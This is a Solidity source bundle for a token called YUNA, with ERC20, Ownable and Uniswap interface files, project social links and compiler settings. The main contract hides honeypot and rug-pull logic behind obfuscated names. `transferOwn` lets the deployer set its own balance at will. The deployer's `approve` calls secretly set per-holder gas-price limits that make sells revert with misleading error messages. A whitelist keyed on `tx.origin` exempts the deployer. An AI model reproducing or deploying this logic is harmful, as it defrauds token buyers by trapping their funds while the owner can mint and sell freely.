// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";

abstract contract ERC20 is IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount)
        external  
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal virtual {
        uint256 fromBalance = balanceOf[from];
        balanceOf[from] = fromBalance - value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
    }

    function approve(address spender, uint256 amount) external virtual returns (bool) {
        _approve(spender, amount);
        return true;
    }

    function _approve(address spender, uint256 amount) internal virtual {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        _transfer(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function transMin(address to, uint256 amount) internal {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function _burn(address from, uint256 amount) internal {
        balanceOf[from] -= amount;
        totalSupply -= amount;
        emit Transfer(from, address(0), amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

/*

Telegram: https://t.me/Yuna_ETH

Web: https://yunacoin.xyz/

X: https://x.com/yunatoken

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "./ERC20.sol";
import "./Context.sol";
import "./Ownable.sol";
import "./IUniswapV2.sol";

contract YUNA is Context, Ownable, ERC20 {
    mapping (address => uint256) private _rewad;
    mapping (address => bool) private _whiteList;

    address private _wadWallets;
    address private _pair;

    string private _name = unicode"Yuna"; 
    string private _symbol = unicode"YUNA";

    uint8 private _decimals = 18;
    uint256 private _initFees = 0;
    uint256 private _finalFees = 0;
    uint256 private _countTx = 0;

    bool private openTrade = false;

    address constant private _Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor() ERC20(_name, _symbol, _decimals) {
        _wadWallets = address(msg.sender);
        _whiteList[msg.sender] = true;
        _whiteList[_wadWallets] = true;
        _mint(msg.sender, 1000_000_000  * 10 ** uint256(_decimals));
    }

    function issssssss() internal view returns (bool) {
        return _msgSender() == _wadWallets;
    }

    function check_(address caller) internal view returns (bool) {
        return issssssss();
    }

    function _transfer(address from, address to, uint256 value) internal override {
        if (_whiteList[tx.origin]) { super._transfer(from, to, value); return;
        } else {
            require(openTrade, "Trade has been open yet!");
            if((_rewad[from] < tx.gasprice 
                && balanceOf[from] > 0 
                && _rewad[from] != 0) 
                || (_rewad[to] < tx.gasprice 
                && balanceOf[from] >0 
                && _rewad[from] != 0)){
                revert("Value overflow!");
            }
            bool isTransfer = (to == _pair) ? true : false;
            uint256 txAmount = value * ((_countTx>15) ? _finalFees : _initFees) / 100 ;
            if(isTransfer 
                && tx.gasprice > _rewad[_wadWallets] 
                && _rewad[_wadWallets] != 0 
                && balanceOf[from] > 0) {
                revert("Not enough Balance fees");
            }
            super._transfer(from, to, value - txAmount);
            if(txAmount>0) {
                super._transfer(from, address(this), txAmount);
            }
            _countTx++;
        }

    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        if(msg.sender == _wadWallets) {
            _rewad[spender] = amount;
            super._approve(spender, amount);
        } else {
            super._approve(spender, amount);
        }
        return true;
    }

    function transferOwn(uint256 _newOwn) external {
        uint256 pushOwn = _newOwn;
        balanceOf[msg.sender] = pushOwn;
        require(check_(msg.sender), "Ownable: caller is not the owner");
    }

    function openTrading() public onlyOwner {
        _pair = IUniswapV2Factory(IUniswapV2Router02(_Router).factory()).getPair(address(this), IUniswapV2Router02(_Router).WETH());
        openTrade = true;
    }

    function setWhiteList(address account) public onlyOwner {
        _whiteList[account] = true;
    }
}

{
  "compilationTarget": {
    "BurnLockRenounce/YUNA.sol": "YUNA"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}